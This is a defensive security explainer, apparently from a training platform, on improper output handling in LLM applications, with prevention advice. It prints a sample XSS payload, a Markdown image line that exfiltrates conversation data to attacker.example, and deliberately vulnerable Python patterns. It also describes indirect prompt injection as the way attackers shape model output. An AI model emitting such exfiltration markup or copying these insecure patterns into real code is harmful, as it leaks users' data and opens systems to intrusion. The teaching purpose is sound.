Improper output handling in LLM applications: XSS, SQL injection and command execution

What improper output handling is

An application built on a large language model (LLM) rarely just displays text. It renders the response in a web page, uses it to build a query, hands it to a shell or drops it into a template. Improper output handling, as the OWASP Top 10 for LLM Applications calls it, is what happens when that response reaches another component without validation or encoding.

It is LLM10 in the 2026 edition and LLM05 in the 2025 edition. It has moved down the list, but the impact remains high, because it turns a model problem into a classic web or system vulnerability.

Why LLM output is untrusted input

Development teams often treat the model's response as if their own code had produced it. An attacker can shape that response, though, through direct prompt injection or indirectly through a document, an email or a web page the model processes. For security purposes, model output is user input that has passed through a middleman.

Output is also non-deterministic. A test that returns harmless text today does not guarantee the same request will do so tomorrow, so validation has to live in the code that consumes the response, not in the prompt.

From chatbot response to XSS

The most common case is cross-site scripting (XSS). If the interface inserts the response into the page as HTML, or converts Markdown to HTML without restrictions, any tag the model generates runs in the victim's browser with their session.

A well-known variant needs no JavaScript at all. The model outputs a Markdown image whose URL points to an attacker's server and carries conversation data in its query string. The browser requests the image as soon as it renders, and the data leaves without a single click.

<img src=x onerror=alert(document.domain)>

![chart](https://attacker.example/pixel.png?d=CONVERSATION_DATA)

Queries, commands and templates

The same mistake shows up on the server whenever model output is used to build something another system interprets:

• SQL queries the model writes and the application runs unreviewed, leading to SQL injection or access to other tables.
• System commands built by concatenating the response, which opens the door to remote command execution.
• Templates that receive the response as part of the template itself rather than as data, leading to server-side template injection (SSTI).
• Code passed to functions such as eval or to an interpreter without sandboxing.
• File paths, URLs or parameters chosen by the model and used by the server without checks.

# Vulnerable patterns (Python)
os.system('ping -c 1 ' + model_output)
cursor.execute(model_output)
render_template_string('Summary: ' + model_output)
eval(model_output)

How to prevent improper output handling

Apply to model output the same controls you would apply to any untrusted input, at the point where it is used. OWASP guidance on output encoding and safe queries applies unchanged, because the model is just another external data source. In practice:

• Encode output for its context: escape HTML when displaying the response and use a Markdown renderer with raw HTML disabled.
• Restrict the domains the interface loads images and links from, and enforce a strict Content Security Policy (CSP).
• Use parameterized queries. If the model must pick a query, let it choose from a fixed set and run it with a read-only database user.
• Never pass model text to a shell. Call programs with an argument list and validate each value against an allowlist.
• Pass the response to templates as a variable, never as part of the template.
• Request structured output, such as JSON, and validate it against a schema before using it.
• Run generated code only in an isolated sandbox with no network or credentials, and require human approval for consequential actions.

Where to practise it on AI Labs

• HIPPOCRATESChatbot · Medium · Medical triage assistant
• Stratus AnalyticsMachine · Medium
• La RegentaMachine · Hard